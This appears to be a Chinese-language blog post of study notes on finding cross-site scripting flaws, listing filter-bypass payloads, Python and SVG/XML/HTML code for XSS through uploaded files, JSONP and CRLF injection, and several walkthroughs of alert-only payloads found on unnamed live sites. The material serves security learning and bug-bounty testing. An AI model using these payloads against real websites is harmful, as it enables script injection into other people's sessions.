XSS 漏洞挖掘学习

XSS漏洞挖掘

检测原理和技巧

image-20250913164612448

直接使用xss靶场进行验证

如图:mark标签生效

image-20250913190314268

使用yakit抓包也可看出,标签是有颜色的

image-20250913190502335

不是下边这样没有被解析

image-20250913190610556

绕过技巧

详细绕过可参考以下链接

image-20250913185915661

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

简单绕过

大小写:<ScriPt>alert(1);</ScriPt>

双写:<scr<script>ipt>alert(1);</script>scri</script>pt>

禁用alert:confirm(1),ptompt(1)

过滤括号:使用反引号代替

<script>alert`1`;</script>

禁用单引号:

<script>alert`1`;</script> <script>alert(/1/);</script>

image-20250913164952401

冷门标签绕过

image-20250913165031761

文件上传xss

PDF形式

image-20250913165346130

from PyPDF2 import PdfReader, PdfWriter

# 创建一个新的 PDF 文档
output_pdf = PdfWriter()
# 添加一个新页面
page = output_pdf.add_blank_page(width=80, height=80)
# 插入 JavaScript:弹窗 alert(使用英文引号)
output_pdf.add_js("app.alert('老登-XSS!!!');")
# 输出为PDF文件
with open("alert.pdf", "wb") as f:
    output_pdf.write(f)

XML形式

XML-XSS制作

image-20250913170239941

<script xmlns="http://www.w3.org/1999/xhtml">
alert(666)
</script>

image-20250913170306764

SVG形式

image-20250913165522551

<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
    <script type="application/javascript">
        alert('XSS Attack!');
    </script>
    <polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>

HTML形式

image-20250913165627030

<script>alert("你是老油条!!!")</script>

image-20250913165602814

特殊的XSS

jsonp

http://154.222.27.91:8882/jsonp/jsonp.php?callback=duan

image-20250913173129661

callback参数可控,直接插入xss攻击码即可看返回页面

image-20250913173155374

callback参数多是用jsonp,可以打xss

CRLF

CRLF 导致 XSS 漏洞的利用原理是:

​ CRLF(回车换行,\r\n)可用于操控 HTTP 响应的结构。

当应用未对用户输入的 CRLF 进行有效过滤或转义时,攻击者能在输入中插入 CRLF 序列,从而篡改 HTTP 响应头,甚至注入 HTML/JS 代码到响应体,引发 XSS 等攻击。

比如在 302 跳转场景,若 url 参数值直接拼接进响应头 Location 字段,攻击者可插入 %0d%0a(CRLF 的 URL 编码),添加恶意响应头(如 Set-Cookie);若进一步插入连续的 %0d%0a,还能突破响应头与响应体的界限,在响应体注入 <script> 等脚本标签,当浏览器渲染时执行脚本,实现 XSS 攻击。

多加几个换行确保js标签在响应体中返会,进而被执行

image-20250913173356797

Ueditor编辑器

存储型:

UEditor编辑器存储型XSS漏洞_ueditor xss漏洞-CSDN博客

大神论坛 UEditor 富文本web编辑器最新漏洞版XML文件上传导致存储型XSS - 大神论坛 - 博客园

image-20250913174752036

利用demo

image-20250913174900344

SeflXSS

selfxss就是只能自己攻击自己,不能打别人(比如在自己后台产生的xss),这种的企业src要求严格,这种估计就不收了,一个没有危害的漏洞,他们也不想给钱。

但是你去做众测、公司的项目,可以不用考虑self的问题,只要xss弹框就可以交

实战

登录框

思路get:

登录口处写入的信息能够回显

插入XSS代码即可被执行

登录提示:

某某账号不存在

某某账号密码错误

点击登录后账号信息仍然保留在输入框

image-20250913182310544

输入xss攻击代码

image-20250913182335761

点击登录成功弹窗

image-20250913182346470

收货地址

思路get:

测试收货地址处js代码发现可控

插入事件型js语句执行,实现触发

大概流程:

首先在收货地址的详细地址栏填写 “8888” 作为标记,方便后续查找网页代码。

接着查看网页代码,用ctrl + f搜索 “8888”,找到相关位置后,在详细地址处输入"oninput=alert(1)//,然后点击修改收货地址。

之后发现详细地址栏变空,再次点击详细地址输入框,成功触发弹窗,显示出1

利用原理:

这种操作的原理是利用了网页前端代码中可能存在的XSS(跨站脚本)漏洞

具体来说:

  1. 当在地址栏输入"oninput=alert(1)//时,这段内容会被当作代码片段嵌入到网页的 HTML 结构中
  2. "符号用于闭合原有 HTML 元素的属性引号,使后续内容被识别为新的属性
  3. oninput=alert(1)是添加了一个输入事件触发的 JavaScript 代码,当输入框被点击或输入内容时就会执行alert(1)弹窗
  4. //用于注释掉后续可能存在的多余代码,避免语法错误

详细过程如下:

image-20250913182544894

image-20250913182553833

image-20250913182600357

image-20250913182606159

image-20250913182610806

文件上传XSS

思路get:

在上传logo处抓包修改

利用HTML-XSS实现XSS触发

详细过程:

个人信息 → 单位 logo

image-20250913183422434

在这里上传文件时会调用/api/app-api/infra/file/upload我们抓包后将文件名改成xx.html内容写入<script>alert(1)</script>

image-20250913183505008

返回的响应包会给出文件路径,直接访问即可成功触发 XSS。

image-20250913183520581

用户名处

思路get:

注册框处输入恶意js实现存储型XSS

系统加载后访问抽奖结果即可触发

详细过程:

进入某抽签系统,大致页面如下

image-20250913183848291

网上抽签时可以登录任意的账号参加,姓名处插入

</td><img src=1 onerror=alert`1`>

image-20250913183905509

如果将该信息提交到系统中,访问抽签结果,即会触发姓名处的存储型XSS

image-20250913183917163

posted @ 2025-09-13 19:17  F0T0ne  阅读(33)  评论(0)    收藏  举报